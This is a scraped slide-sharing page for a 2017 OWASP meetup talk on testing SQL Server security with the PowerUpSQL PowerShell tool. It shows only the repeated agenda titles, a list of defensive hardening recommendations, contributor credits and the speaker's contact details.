  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 106: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 107: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 108: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions